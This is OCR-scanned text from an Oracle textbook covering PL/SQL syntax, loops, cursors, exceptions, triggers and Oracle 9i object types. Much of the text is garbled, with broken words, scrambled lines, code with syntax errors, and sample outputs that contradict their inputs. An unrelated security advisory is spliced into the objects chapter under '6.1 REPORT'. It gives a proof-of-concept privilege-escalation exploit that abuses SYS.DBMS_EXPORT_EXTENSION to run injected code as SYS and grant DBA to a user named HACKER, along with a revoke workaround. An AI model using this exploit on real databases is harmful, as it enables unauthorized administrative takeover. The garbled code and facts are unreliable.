Dedaration section
BEGIN
Executable section "
EXCEPTION
FException handling section
END:
1. Declaration section the
with word Declare. All
This is first section which is start
betoe
declared in this section
identifiers (constants and variables) are
they are used in SELECT command.
like CREATE,
DROP or ALIE
Data definition statements
contains constructs. Su
The executable section also igger
technology, not
The PUSQL compilation and run-time system is a
server.
PLISQL Engine
Procedural
PLISQL
P L U S Q L L P o c e d u
Statement
Block Block Executor
sOL
Oracle
F PLISQL /123
4.3 FUNDAMENTALS OF PL/SQL
4.3.1 PLIsQL Data Types
PLISQL and Oracle have their foundations in SQL. Most PUSQu
data types are native to Oracle's data dictionary, there is a very easy
(for storing numeric data), char (for storing character data), date (for
storing date and time data) boolean (for storing TRUE, FALSE or
NULL). number, char and date data types can have NULL values.
Here, we explain two data types,
1. Variable, 2. Constant.
My_name emp.ename%TYPE;
gives PL/SQL variable my_name whatever type was declared
for the ename column in emp table.
%rowtype:A variable can be declared with %rowtype that is
equivalent to a row of a table i.e. record with several fields.
The result is a record type in which the fields have the same
names and types as the attributes of the relation.
For example:
DECLARE
Emp_rec emp1%ROWTYPE;
This makes variable emp_rec be a record with fields name
and salary, assuming that the relation has the schema
emp1(name, salary).
The initial value of any variable, regardless of its type, is NULL.
2. Constants:
Declaration of a constant is similar to declaring a variable except
that the keyword constant must be added to the variable name and a
value assigned immediately. Thereafter, no further assignments to the
Constant are while the constant is within the constant is
possible,
within the scope of the PLUSQL block.
There are two types (i) Raw and (i) Rawid
Character
() Raw: Raw types are used to store binary data.
variables are automatically converted between character sets by
that
orace, if necessary. These are similar to char variables, except
to store fixed
Ey are not converted between character sets. It is used is 32,767
n Dinary data. The maximum length of a raw variable
column is Z00
es. However, the maximum length of a database raw
bytes.
WIll not
is similar to long data, except that PUSQL
Convraw
D e t w e e n character sets. The maximum length or a l o n y a
PL/SQL I125
maximum length of a long
raw colum
variable is 32,760 bytes. The
2 GB. the database ROm
same as
(ii) Rowid: This data types is the can be considered
hold a rowid, which
pseudo-column type. It can
database. Rowids are stor
for row in the
a unique key every whose actual fixed len
a fixed length binary quantity,
internally as system.
varies depending on the operating extract informate
functions are used to
Various DBMS ROWID Extented tar
and Restricted are
about the ROWID pseudo-column. to be backward compatitie
used mostly
rowid formats. Restricted is
Oracle. The Extended format take
with previous versions of
features.
advantage of new Oracle
The DBMS_ROWID package has several
procedures and
The Table 7.1 shows the
functions to interpret the ROWIDs of records.
DBMS ROWID functions
Table 4.1: Functions of DBMS ROWID
DESCRIPTION
FUNCTION
ROWID_VERIFY Verifies if the ROWID can be
extended; 0 = can be converted to
extended format; 1 = cannot be
converted to extended format.
0 ROWID, 1 = Extended
ROWID_TYPE
ROWID_BLOCK_NUMBER The block number that contains
the record;
1 Extended ROWID
ROWID_OBJECT The object number of the object
that contains the record.
ROWID_RELATIVE_FNO The relative file number contains
the record.
ROWID_RoW_NUMBER The row number of the record.
ROWID_TO_ABSOLUTE_FNO The absolute file number; user
need to input rowid val, schema
and object; the absolute file
number is returned.
ROWID_To_EXTENDED Converts the ROWID from
Restricted to Extended; user nee
to input restr_rowid, schema.s
object; the extended number
returned.
ROWID_TO_RESTRICTED Converts the ROWID from
Extended to Restricted.
Oracle/ 126
ROWID is a pseudo-column that has a unique value associated with
Nach record of the database
The DBMS_ROMD package is created by the.
ORACLE HOME/RDBMS/ADMIN/DBMSUTIL.SQL script.
This script is automatically run when the Oracle instance is
created.
Operator Precedence
If we combine AND and OR in the same expression, the AND
operator takes precedence over the OR operator (which means if's
executed first). The comparison operators take precedence over AND.
We can override these using parentheses.
PL SQL Expressions
Expressions are a composite of operators and operands. In the case
of a mathematical expression the operand is the number and operator
is the symbol such as +or that acts on the operand. The expression
value is the evaluated total of the operands using the operators.
Operators are divided into categories that describe thee way that act
upon operands.
-Comparison operators are binary, meaning they work with two
operands. Examples of comparison operators are the greater than (>)
,less than(<) and equal(=) signs ,among others.
Logical operators include AND,OR and NOT
Arithmetic operators include
addition/positive(+).subtraction/negative(-).multiplication("), and
division(/).
-The assignment operator is specific to PLUSQL and is written as
colon-equal (=)
-The lone character operator is a double pipe(lI) that joins two strings
together, concatenating the operands.
Other basic SQL operators indude IS NULL, IN and BETWEEN.
4.3.2 If statement in PL/SQL
PUSQL allows decision making using if statement.
An IF statement in PLsQL looks like
IF <condition> THEN
<statement_list>
END IF:
f condition is true the statements present inside IF will get
executed
If... Else construct
IF <condition> THEN
ELSE
statement_list>
PLISQL /127
sstatement_list>
END IF:
For example:
1. Accept two numbers and print the largest number
DECLARE
x number;
y number;
BEGIN
x:=&x;
y =&y:
if (xoy) then
than y);
dbms output.put _line('x is largest
else
dbmsoutput.put_line(y is largest
than x);
end if
End;
SQL>
Enter value for x:7
old 5:x:= &x;
new5: x:=7;
Enter value for y: 88
old 6:y =&y
new 6: y:=8
Addition is 15
PL/SQL procedure completed
y is largest than x
PL/SQL procedure successfully completed.
2. Check whether the salary of 'BLAKE' is grater than 5000 or
not.
DECLARE
B_salary emp.sal%type;
BEGIN
Select sal into B_salary
From emp
Where ename='BLAKE';
If (B_salary> 5000) then
dbms output.put_line('Blake salary is largest than 5000)
else
dbms output.put_line( Blake salary is less than 5000):
Oracle/ 128
end if
End
SQL>
Blake salary is less than 5000
PUSQL procedure successfully completed.
Ifwith a Multiway Branch
IF <condition_1> THEN
ELSEIF <condition_2> THEN
<statement_list>
ELSEIF <condition_n> THEN
<statement_list>
ELSE
<statement_list>
END IF:
EXIT
End if,
END LOOP:
The loop breaks if <condition> is true.
PL/SQL /129
For example:
DECLARE
i NUMBER 0 ;
BEGIN
LOOP
i:=i+1;
dbms_output.put_line)
If( i=10) then
EXIT;
End if;
END LOOP:
END:
SQL>
1
9
10
PL/SQL procedure successfully completed.
Syntax 2
LOOP
<commands>*A list of statements.
EXIT WHEN <condition>;
END LOOP
For example
DECLARE
iNUMBER := 0;
BEGIN
LOOP
i:=j+1;
dbms_output.put_linei);
EXIT when i>=10;
END LOOP:
END;
SQL
Oracle/130
2
3
7
8
9
10
PUSQL procedure successfully completed.
The loop breaks when <condition> is true.
4.4.2 For...loop
Syntax:
FOR <varo IN[reverse] <start>. .<finish> LOOP
<commands> " A list of statements. /
END LOOP:
Here, svar can be any variable; it is local to the for-loop and
need not be declared. Also, <start> and <finish> are
constants. The
value of a variable <var> is
automatically
incremented by
1.
The commands inside the loops are automatically executed until
the final value of variable is reached. Reverse is optional part, when
you want to go from maximum value to minimum value in that
case
reverse is used.
For example
BEGIN
For i in 1. .10 LOOP
dbms_output.put_line(i);
END LOOP;
END:
SOL
PL/SQL/131
9
10
PL/SQL procedure successfully completed.
4.4.3 While loop
Syntax
WHILE <condition> LOOP
<commands> /" A list of statements. /
END LOOP;
This loop executes the commands if the condition is true.
For example:
DECLARE
i NUMBER:=0;
BEGIN
While ic=10 LOOP
ii+1;
dbms_output.put_line0)
END LOOP
END;
SQL>
1
2
3
5
6
7
8
9
10
PL/SQL procedure successfully completed.
Oracle 132
n1: &n1:
n2: &n2:
if(n1<n2) then
dbmsoutput.put_line(n1 |l' is largest):
else if (n1<n2) then
dbms_output.put_line(n2 Ir'is largest):
else
dbms_output.put_line('Both are equal);
end if;
end if;
End;
Output
SQL>
Enter value for n1: 23
old 5: n 1:-&n 1;
new 5: n 1:-23;
Enter value for n2: 12
old 6: n2:-&n2;
new 6: n2: 12;
23 is largest
SQL
Enter value for n1: 11
old 5: n 1:=&n 1;
new 5: n1:=11;
Enter value for n2: 11
old 6: n2:=&n2;
new 6: n2:=11;
Both are equal
2. Accept a number and check whether it is odd or even.
If it is even no. print square of it otherwise cube of it.
DECLARE
n1 number
BEGIN n1:=&n1;
if(mod(n1,2)=0) then
dbms_output.put_line(n1 |l' is even no);
dbms _output.put_line('Square of l| n1 ||'is'| n1'n1);
else
PLISQL/133
Output
SQL>
Enter value for n1: 2
old 4: n1:=&n1;
new 4: n1:-2;
2 is even no.
Square of 2 is 4
SQL>
Enter value for n1: 3
old 4: n1:-&n1;
new4: n1:3;
3 is odd no.
Cube of 3 is 27
4.5.2 PL/SQL Block using Table
1. Accept the deptno and print the no. of employees working in
that department.
DECLARE
v_deptno emp.deptno%type;
V_count number
BEGIN
_deptno:=&v_deptno;
select count(") into v_count
from emp
where deptno=v_deptno;
dbmsoutput.put_line(No. of emp working in l v_deptno
are' ll count);
End
Output
SQL>
Enter value for v_deptno: 20
old 5: v_deptno:=&v_deptno;
new 5: v_deptno:=20;
No. of emp working in 20 are 2
Oracle/134
_deptno dept.deptno%type;
v_dname dept.dname%type;
v_loc dept.loc%type
BEGIN
v_deptno:=&v_deptno
select dname,loc into v_dname,v_loc
from dept
where deptno=v_deptno;
dbms _output.put_line(Department name is 'l V_dname|l'and
locationis llv_loc);
End;
Output
SQL>
Enter value for v_deptno: 10
old 6: v_deptno:=&v_deptno;
new (6: v_deptno:= 10;
Department name i_ AccOUNTING and location is NEW YORK
4.6 BUILT-IN-FUNCTIONS
<Action
ELSEIF <Condition> THEN
<Action
ELSE
PLISQL /135
Action
ENDIF
For example
Write a PL/SQL code block that will accept an account umtor
from the user, check if the users balanco is less than the riinimur
balance, only then deduct Rs. 100/- from the balance. The process i
fired on the ACCT_MSTR tablo.
DECLARE
Declaration of memory variables and constants to be used i
Execution section /
mCUR_BAL number (11, 2);
mACCT NO varchar2(7):
mFINE number(4) 100;
mMIN_BAL constant number(7, 2):= 5000.00;
BEGIN
Accept the Account number from the user "/
mACCT_NO: &mACCT_NO;
PRetrieving the current balance from the ACCT_MSTR table where
the ACCT_NO in the table is equal to the mACCT_NO entered by the
user
WHERE ACCT_NO
mACCT_NO; =
END IF;
END;
Output
Enter value for mACCT_NO: 'SB9
Old 11:mACCT_NO: &mACCT_NO;
new 11 mACCT NO:= SB9':
Oracle 136
4.6.2 Iterative Control
Iterative control indicates the ability to repeat or skip sections of a
code block. A loop marks a sequence of statements that has to be
repeated. The keyword loop has to be placed before the first
statement in the sequence of statements to be repeated, while the
keyword end loop is placed immediately after the last statement in the
sequence. Once a loop begins to execute, it will go on forever.
Hence, a conditional statement that controls the number of times a
loop is executed always accompanies loops.
PUSQL supports the following structures for iterative control
Simple Loop:
In simple loop, the key word loop should be placed before the first
statement in the sequence and the keyword end loop should be
written at the end of the sequence to end the loop.
Syntax
Loop
<Sequence of statements>
End loop
For example:
Create a simple loop such that a message is displayed when a
loop exceeds a particular value.
DECLARE
i number:= 0;
BEGIN
LOOP
izi+2;
EXITWHENI> 10;
END LOOP:
dbms_output.put_line(Loop exited as the value of i has reached ||
to_char(i))
END;
Output
Loop edted as the value of i has reached 12
PLUSQL procedure successfully completed.
The WHILE Loop
Syntax
WHILE <Condition
PL/SQL /137
LOOP
<Action
END LOOP:
Forexample:
Write a PL/SQL code block to calculate the area of a circle for a
value of radius varying from 3 to 7. Store the radius and the
corresponding values of calculated area in an empty table named
Area.
Areas, consisting of two columns Radius and
Table Name : Areas
RADIUS AREA
radius number(5);
area number(14, 2):
BEGIN
Initialize the radius to 3, since calculations are required for radius
3 to 7
radius: 3 ;
Set a loop so that itfires till the radius value reaches 7
WHILE RADIUS <= 7
LOOP
Area calculation for a cirde
area = pi power(radius, 2):
area
Insert the value for the radius and its corresponding
calculated in the table
INSERT INTO areas VALUES (radius, area)
Increment the value ofthe variable radius by 1
radius radius+ 1:
END LOOP:
END
Oracle/ 138
radius to hold
above PL/SQL code block initializes a variable
The
for the radius
value of 3. The area calculations are required
the with radius 3
and 7. The value for area is calculated first
between 3
Areas. Now, the
radius and area are inserted into the table
and the
the value of radius is incremented by 1, i.e. it now
ariable holding the
4. Since the code is held within a loop structure,
holds the value time the
to fire till the radius value reaches 7. Each
code continues
table.
value of radius and area is inserted into the areas
After the loop is completed the table will now hold the following
Radius Area
3 28.26
50.24
5 78.5
6 113.04
7 153.86
<Action>
END LOOP;
9365.
DECLARE
used in the
variables and constants to be
Declaration of memory
Execution section
= '5639;
given_number varchar(5)
str_length number(2)
inverted_number varchar(5);
BEGIN
nimber
strore the length of the giver
PLISQL/139
FIO
str_length:=length(given_number);
Initialize the loop such that it repeats for the number of timee
s
Oracle 140
Sequential Control
The GOTO Statement
The GOTO statement changes the flow of control within a PUSQL
plock. This statement allows execution of a section of code, which is
not in the normal flow of control. The entry point into such a block of
code is marked using the tags <<userdefined name>>, The GOTO
statement can then make use of this user-defined name to jump into
that block for execution.
Syntax:
GOTO <codeblock name>;
PLISQL /141
Forexample
1. Print no. of rows deleted from emp.
DECLARE
ROWDEL_NO NUMBER
BEGIN
DELETE FROM EMP
ROW_DEL_NO = SQL%ROWCOUNT;
dbms_output.put_line(No. of rows deleted are
ROW_DEL_NO);
END;
SQL>
No. of rows deleted are 14
PL/SQL procedure successfully completed.
2. Accept empno and print its details(using cursor).
DECLARE
V_NO EMP.EMPNO%TYPE:=&V_NO;
VNAME EMP.ENAME%TYPE;
V_JOB EMP.JOB%TYPE;
V_SAL EMP.SAL%TYPE;
BEGIN
SELECT ename, job, sal INTO V_NAME,V_JOB,V_SAL
FROM emp
WHERE empno=V_NO;
Oracle/ 142
sQL>
For example:
DECLARE
CURSOR c_deptno IS SELECT ename, sal, deptno
FROM EMP;
PL/SQL/143
CURSOR c_deptno 1S SELECT ename, sal, deptno
FROM EMP
Begin
Open c_deptno;
End;
Parameters is an optional part. It is used in parameterized cursor
updated to point at the next row. If the cursor has no more rows the
variables will be set to null on the first FETCH attempt, subseque
FETCH attempts will raise an exception.
To process all the rows within a cursor use a FETCH command
a loop and check the cursor NOTFOUND attribute to see it We
DECLARE
PL/SQL /145
command.
command.
The cursor and fetcha.
es
and fetch the c_deptno
implicitly opens
in c_deptno explicitly declared in tha
the
For x that x is not
variable. Note
value into
the x
a
Oracle 146
DECLARE
TEMP_Sal NUMBER(10,2);
BEGIN
WHERE empno>=7698;
ELSE
UPDATE emp SET sal = 5000
WHERE empno>=7698;
END IF:
COMMIT;
EXCEPTION
WHEN NO_DATA_FOUND THEN
Dbms.Output.put_line('Empno does not exists);
WHEN TO0_MANY_ROWS THEN
Dbms.Output.put_line(No. of rows selected');
END
SQL>
No. of rows selected.
The block above will generate an error either there are
more than one record with an empno greater than
7698 or
record with empno>=7698.
emp table does not have a
The exception raised from this will be passed to the
EXCEPTION section where each handled action will be
checked. The statements within the TOO_MANY_ROWS
or
Forexample:
DECLARE
TEMP_Sal NUMBER(10,2);
PLISQL /147
BEGIN
SELECT sal INTO TEMP_sal
From emp
WHERE empno>=7698;
IF TEMP_sal>1000 THEN
(TEMP_sal'1.175)
UPDATE emp SET sal
=
WHERE empno>=7698;
ELSE
UPDATE emp SET sal 5000
WHERE empno>=7698;
END IF;
cOMMIT:
EXCEPTION
WHEN NO_DATA_FOUND THEN
Dbms.Output.put_line('Empno does not exists');
WHEN TO0_MANY_ROWS THEN
For example:
DECLARE
TEMP_Sal NUMBER(10,2)
ERRMSG VARCHAR2(100)
ERR_CDE NUMBER;
BEGIN
Oracle / 148
SELECT sal INTO TEMP_sal
From emp
WHERE empno>=7698;
BEGIN
SELECT sal INTO TEMP_sal
From emp
WHERE empno>=7698;
IF TEMP_sal> 1000 THEN
UPDATE emp SET sal =
(TEMP_sal1.175)
WHERE empno>=7698
ELSE
UPDATE emp SET sal 5000
WHERE empno>=7698
END IF;
cOMMIT:
EXCEPTION
WHEN NO_DATA_FOUND THEN
INSERT INTO ERRORS (CODE, MESSAGE)
VALUES (99, NOT FOUND');
WHEN TO0_MANY_ROWS THEN
INSERT INTO ERRORS (CODE, MESSAGE)
VALUES (99, TOO MANY");
WHEN OTHERS THEN
ERR_CDE:=SQLCODE
ERR_MSG: SUBSTR(SQLERRM,1,100);
INSERT INTO ERRORS
(CODE MESSAGE)
VALUES(ERR_CDE, ERR_MSG);
END:
In this case ERRORS table contain fields code and
message.
According to error occurred in PL/SQL block, the values of code and
messge will get stored into an ERRORS table.
4.8.2 User Defined
Exception
here are two methods of defining exception by user.
1. RAISE statement
2
RAISE_APPLICATION_ERROR statement
PL/SQL/149
1. RAISE Statement
If you explicitly need to raise an error then RAISE statementie
is
used and you have to declared an exception variable in declared
section.
For example:
DECLARE
TEMP_Sal NUMBER(10,2):
NEGATIVE_SAL EXCEPTION;
BEGIN
SELECT sal INTO TEMP_Sal
From emnp
WHERE empno=7698;
The RAISE_APPLICATION_ERROR
takes two input parameter
The error number
between-20001
and error message. The error number must be
RAISE_APPLICATION_ERROR from within
20999. You can call
and triggers.
procedures, functions, packages
For example
1. DECLARE
Oracle 150
BEGIN
SELECT sal INTO
TEMP_sal
From emp
WHERE empno=7698
UPDATE emp SET sal TEMP_sal 1.5
WHERE empno=7698,
COMMIT:
EXCEPTION
WHEN NO_DATA _FOUND THEN
RAISE APPLICATION_ERROR (-20100, Record NOT
FOUND');
END
Note that in this case exception variable declaration is not
required.
2. DECLARE
ECLARE
V_no emp.empno%type;
_empno emp.empno%type,
PL/SQL/151
BEGIN
V_empno:=&v_empno;
select empno into v_no
from emp
where empno=v_empno;
if v_no=v_empno then
dbms_output.put_line('Empno exists);
end if;
When no_data_found then
does not exists);
dbms_output.put _line(Empno
End
Output
SQL>
Enter value for v_empno: 7768
old 5: v_empno:=&v_empno;
new 5: V_empno:=7768;
Empno does not exists
SaL>
Enter value for v_empno: 7698
old 5: V_empno:=&v_empno;
new 5: v_empno:=7698;
empno exists
2. Print name of emp getting second max salary.
DECLARE
name emp.ename%type;
BEGIN
select e2.ename into v_name
from emp e1, emp e2
where e1.sal>e2.sal;
max
dbms_output.put _line(v_name II is getting second
salary');
Exception
When toomany_rows then
dbms_output.put_line('More than one
Empno getting
second max salary');:
End:
Output:
SQL
Oracle/ 152
More than empno getting second max salary.
one
3. Accept empno and check whether comm is null or not.
If comm is null raise an
exception otherwise display comm.
DECLARE
v_comm emp.comm%type;
v_empno emp.empno%type:
check_comm exception;
BEGIN
V_empno:=&v_empno;
select comm into v_comm
from emp
where empno=v_empno;
if v_comm is NULL then
raise check_comm;
else
dbms_output.put_line('comm = 'llv_comm):
end
Exception
When no_data_found then
dbms_output.put_line('Empno does not exists);
When check_comm then
dbms _output.put_line(Empno geting null comm);
End:
Output
sOL>
Enter value for v_empno: 7566
old 6: v_empno:=&v_empno;
new 6: v_empno:= 7566;
Empno getting null comm
SQL
Enter value for v_empno: 7521
old 6: v_empno:=&v_empno;
new 6: v_empno:=7521;
comm 500
PL/SQLI153
4:9 Summary
and End
sections Declare, Begin, EXCeption
A PUSQL Block has
four
and lob() these are -types
the data r
Char (). number (), date() for declaration. Queries ara
section is used
written in exceptions secti
PUSQL block. Declare
section. Exceptions are
written in begin section.
will close by end s t a t e m e n t s simple loop, for lcon
and lastly the block
of loop
There are three types classified as conditiona
statements are
Control Whenever a So
and while loop. control.
control and sequential
control, iterative an area of memory is
the database server opens
Statement is issued There are two
called a s c u r s o r .
area is
This
called private SQL area.
cursor and explicit
cursor. An abnoma
implicit two classes of
types of cursors
is called exception.
There are
condition in a program user-defined exception.
exceptions-predefined
exception and
Sourceplsql-tutonal.com(e-ink)
ProgressAnSwerss
4.8 Check Your
1) Declare
2) Begin
3.4-3.8
1)20,000
2)Exception
3)Cursor
Or
Or a C
Or a c
or a c e
Oracle 154
(in this case accepted string is oracle)
Q.7 Accept a string and a character and check
character occurs in a how 'many times
string. (Use substr a
7.
BLAKE working in
Update the salary by 15% of employee table
oepartment 10 and store this information in emp_raise
as empno, sysdate and changed salary.
FIL PL/SQL1155
Chapter 5
TRIGGER
5.0 Objectives
5.1 Introduction
5.2 Creating a Trigger
5.3 Access the value of column inside a Trigger
5.4 Modifyinga Trigger
5.5 Enabling/Disabling a Trigger
5.6 Deleting a Trigger
5.7 Summaryy
5.8 Check Your Progress Answers
5.9 Questions for Self-Study
5.0 OBJECTIVES
5.1 INTRODUCTION
database.
2 It implements the security.
Trigger /157
5.2 CREATING
A TRIGGER
For example:
SQL> create trigger tr_sal
2 before insert on emp
3 for each row
4 begin
if :new.sal = 0 then
Trigger /159
5.1, 5.2, 5.3 Check Your Progress
Fill in the blanks
1) A trigger is executed by an_
2) Startup, shutdown are the level triggers.
3) Log on log.off are. event triggers.
R
To enable or disable a specific trigger, ALTER RI
command is used.
Syntax
ALTER TRIGGER trigger_name ENABLE/ DISABLE it gets
When a trigger is created, it is
automatically enabled and 9ger
Syntax:
ALTER TABLE table_name ENABLE DISABLE ALL
TRIGGERS:
For example:
ALTER TABLE emp DISABLE ALL TRIGGERS
5.7 Summary
A by an event, which
trigger is P/SQL code block, which is executedinvoked when Insert,
OcCurs to a database table. Triggers are implicitly
update or delete command is executed. commands within
and point
YOU may not use commit, Roleback
save
table
tigger blocks. According to events triggers are of three types or
and user event triggers. To enables
rggers, system event triggerscommand is used. By using drop trigger
disable a trigger, Alter trigger
comment we can delete a trigger.
Source: docs.oracle.com/e-link)
Trigger /161
5.8 Check Your Progress-Answers
5.1, 5.2, 5.3
1)Event
2)System
3User
5.4,5.5,5.6
1)Alter
2)Drop
6.0 Objectives
6.1 Report
6.2 ORACLE 9i Database Types.
6.3 Uses of Objects
6.4 Types of Objects
6.5 Features of Objects
6.5.1 Naming Convention for Object
6.5.2 Example of Common Object
6.5.3 Structure of Simple Object
6.5.4 Inserting Records Into Custmor
table
6.6 Implementing Object Views
6.6.1 Why Use Object Views
6.6.2 Using where Clasuse
6.7 Benefits of Using Object Views
6.8 Nested Table
6.9 Variable Arrays
6.9.1 Creating Varying Arrays
6.10 Referencing Objects
6.11 Introduction to Oracle Packages
6.12 Summary
6.13 Check Your Progress - Answers
6.0 OBJECTIVES
After reading this chapter you will able to
State use of object
Describe Types of object
Discuss Features of object
Dracle 9i /165
6.1 REPORT
Details
The following proof of concept exploit code (0day)
inject a
custom PL/SQL function. This function is executed in the SYS conte
and grants the DBA permission to the usor HACKER. This exploite
working on Oracle 9i Rel. 2 and Oracle 1Og express Edition (XE) t
Workarounds
You can revoke the public privilege form public.
REVOKE EXECUTE ON
FROM PUBLIC FORCE;
SYS.DBMS_EXPORT_EXTENSION
The package dbms_extension is needed for doing export
files.
After revoking the public grant, you should assign the execute role on
dbms_export_extension to your export user
(e.g. SYSTEM)
Example
Create a function in a package first and inject the function. The
function will be executed as user SYS.
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo
SYS.odcindexinfo, P3 VARCHAR2, p4 VARCHAR2, env
SYS.odcienv)
RETURN NUMBER
END:
Oracle/ 166
EXECUTE IMMEDIATE GRANT DBA TO
HACKER
cOMMIT
RETURN(1)
END
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEXNAME: = "A1:
INDEX_SCHEMA: = 'HACKER:
TYPE_NAME ="MYBADPACKAGE:
TYPE_SCHEMA: ="HACKER:
VERSION: = "10.2.0.2.0'
GMFLAGS: 1;
V_Return :=
SYS.DBMS_EXPORT EXTENSION.GET_DOMAIN_INDEX
END:
TYPES
DATABASE
6.2 ORACLE 9i
types:
Oracle 9i
consists of three different
upgraded
traditional
ORACLE relational database
i) ational: The
(RDBMS).
Oracle 9i /167
ii) Object-relational The traditional ORACLE relational databasa
extended to include se
object-oriented concepts and structures such
as abstract datatype, nested tables and h
varying arrays.
ii) Object-oriented : An object-oriented database whose design
based only on Object-Oriented Analysis and is
Design principles.
Oracle provides full support to all the three
types. Whatever
method we choose, we must be familiar with the
functions and
features of the core ORACLE relational database. Even
if 00
capabilities are used, the functions and datatypes available in Oracle
and its programming languages i.e. SQL and
PLsQL should be
known.
6.3 USES OF OBECTS
Forexample:
If clerk want to make list of addresses of students then there is
standard for the structure of an address. First there is student's name
then street name, city name, state name and then code number.
Oracle 168
When new admissions are aken, then the student is added in the list
using same procedure.
PIN NUMBERR
Oracle 9i 169
Whentable using address information is created, a column which uses
address be created. This will contain the
abstract datatype fon can
type.
abstract data
above columns that are part df the
Output :
Type Created
While using the abstract datatype the benefits for objects like
reuse and standard adherence are realised. A standard for the
representation of abstract data elements, for e.g. address, companies
etc. is created when an abstract datatype istcreated. When the same
abstract datatype is used in multiple placesithe same logical data i s
represented in the same manner in each place
When the same abstract datatype is used in multiple places, the
same logical data is represented in the same manner in each place.
Reuse of the abstract datatype shows the enforcement of
standard representation for the data to which it is bound.
We can use abstract datatype to create an object table. In a
object table, the columns of the table map to the columns of an
abstract datatype.
Nested Tables
A nested tables means table within a table'. A
nested table is a 'a
collection of rows, represented as a column within the
main table. For
each record within the main
table, the nested table may contain
multiple rows. In one sense, it's a way of
relationship within one table. storing a
one-to-many
Consider a table containing
which each information about departments,
department may have many projects in progress at
model, two separate tables would on
time. in a strictly relational
created: o
i) DEPARTMETN
ii) PROJECT
Nested tables allow us to
within the store the information jects
DEPARTMENT table. The about pro
accessed directly via the project table records be
perform a join. DEPARTMENT table, without the to
to
nee
Oracle 170
to select data without traversing joins
makes data
ability
Thesief. Even if methods for accessing nested data are not
The
access
acces
Department
and Project data have clearly been associated.
d e f i n e d ,
The size of
the array is limited when it is created.
Varying arays are also known as VARRAYS. They allows storing
in tables.
repeating attributes
For example : suppose there is a PROJECT table, and projects
having workers assigned to thenm.
A project may have many workers, and a worker may work on
multiple projects. In a strictly relational implementation, a PROJECT
table, a WORKER table, and an intersection table
PROJECT_WORKER would be created which store the relationships
between them.
Varying arrays can be used to store the worker names in the
PROJECT table. If projects are limited to fifteen workers or fewer, a
varying array with a limit of fifteen entries can be created. The
datatype for the varying arrays will be whatever datatype is
appropriate for the worker name values.
Then varying array can be populated, so that for each project the
names of all of the project's workers can be selected without querying
the WORKER table.
Note: When a table is created with a varying array, the array is a
nested table with a limited set of rows.
Large Objects:
A large object or LOB is capable of storing large volumes of data.
The different LOB datatypes available are BLOB, CLOB, NCLOB, and
BFILE
T h e BLOB datatype is used for binary data and can extend to
4GB in length.
T h e CLOB datatype stores character data and can store data
up to 4GB in length.
The NCLOB datatype is used to store CLOB data for multibyte
character sets.
Fi2
Oracle 9i /171
u The data for BLOB, CLOB and NCLOB datatype is st
inside the database. So, there can be a single row in stored
database that is over 4GB in length. the
One of the LOB datatype, BFILE is a pointer to an external i
The files referenced by BFILEs exist at operating system level. Tho
database only maintains a pointer to the file. The size of the external
file is limited only by the operating system. The data is stored outside
the database, so ORACLE does not maintain concurrency or integrity
of the data.
We can use multiple LOBs per table. For example, consider
table with a CLOB column and two BLOB columns. This is an
improvement over the LONG datatype, as there can be one LONG per
table, ORACLE provides a number of functions and procedures, which
can be used to manipulate and select LOB data.
References
Varying arrays and Nested tables are embedded objects. They
are physically embedded within another object. They of object called
as referenced objects, are physically separate from the objects that
refer to them. References (also known as REFS) are essentially
pointers to row objects. A row object is different from a column
object. An example of a column object would be a varying array. It is
an object that is treated as a column in a table. On the other hand, a
row object always represents a row.
References are typically among the last 00 features
implemented while migrating a relational database to an objcct
relational or pure O0 one.
Object Views:
Object views allow adding O0 concepts on top of existing
relational table. For example, an abstract datatype can be createu
based on an existing table definition. Thus, object views give the
benefits of relational table storage and 00 structures. Object views
allow the development of O0 features within a relational database. a
that
object are called 'methods'. So, an abstractoperations has aa a
ame,
Oracle 9i /173
6.5.2 Example OF A Common Object
common object
found in most systeme
We consider here a
follow a standard
format. The street name, city na.
workers can
the basis of an abst.
state name and pin code can be used as stract
command to create
datatype for addresses. Use the create type an
abstract datatype.
Example:
CREATE TYPE ADDRESS TY AS OBJECT
Output
Type created.
In Oracle, the CREATE TYPE command is an interesting
command. The command in the above example says that create an
abstract datatype named ADDRESS_TY. It willbe represented as
having four attributes, Street, City; State and Pin, using a defined
datatype and length for each attribute.
The ADDRESS_TY datatype can be used within other datatypes. For
example, the creation of a standard datatype required for people.
People have names and addresses, so the following abstract datd
type can be created.
Example
CREATE TYPE
PERSON_TY AS OBJECT(
NAME
VARCHAR2(20), ADDRESS ADDRESs_TY);
Output
Type created.
Firsty, the abstract datatype and
identified as an object via the was given a name
PERSON
were defined.
as object clause. Then, two
The line
(NAME VARCHAR2 (20), defines the first c o l u m n o f
PERSON_TY's representation.
ADDRESS ADDRESS_TY), defines the secona olumn
of
PERSON_TY's representation.
Oracle 174
The second column, Address uses the
abstract datatype previously created. The
ADDRESS TYY
ADDRESS_TY, (according to the ADDRESs_TY columns within
follows definition) are as
(STREET VARCHAR2 (40), defines the first column
ADDRESS_TY's representation. of
CITY VARCHAR2
(20), defines the second column of
ADDRESs_TY's representation.
STATE VARCHAR2
(20), defines the third column of
ADDRESS_TYs representation.
ZIP NUMBER); defines the fourth column of
representation. ADDRESS_TY's
So, a PEROSN_TY entry will have a
Pin colunmns because Name, Street, City, State and
one of its columns is
ADDRESs_TY abstract type. explicitly bound to the
This capability to define and
reuse abstract data
data representation within a types can simplify
is seldom used
database. For example, a Street column
by itself. It is almost always used as a
address. Abstract datatype allows part of an
the joining of these
together and dealing with the whole address instead of elements
street, city- etc. that its parts like
constitute the address.
The PERSON_TY
datatype can be used to create an 00 based table.
6.5.3 Structure of a Simple
Object
Data cannot be inserted into
PERSONTY. The reason is that a
datatype describes data, it does not store data. To store data, a table
that uses this datatype has to be created. Then
to store data in that table, formatted for the
only it will be possible
specified datatype.
The following command creates a table named CUSTOMER. A
customer has a Customer_ID and all the attributes of a person (via the
PERSON TY datatype).
Example
CREATE TABLE CUSTOMER(
CUSTOMER_ID NUMBER, PERSON PERSON_TY);
Output:
Type created.
Example
We now see the example of command used to retrieve
CuSTOMER table's column definition.
DESC CUSTOMER;
Oracle 9i /175
Output
Name Null? Type
NUMBER
CUSTOMER_ID
PERSON PERSONTY
The Person column is shown by the DESCRIBE command to be
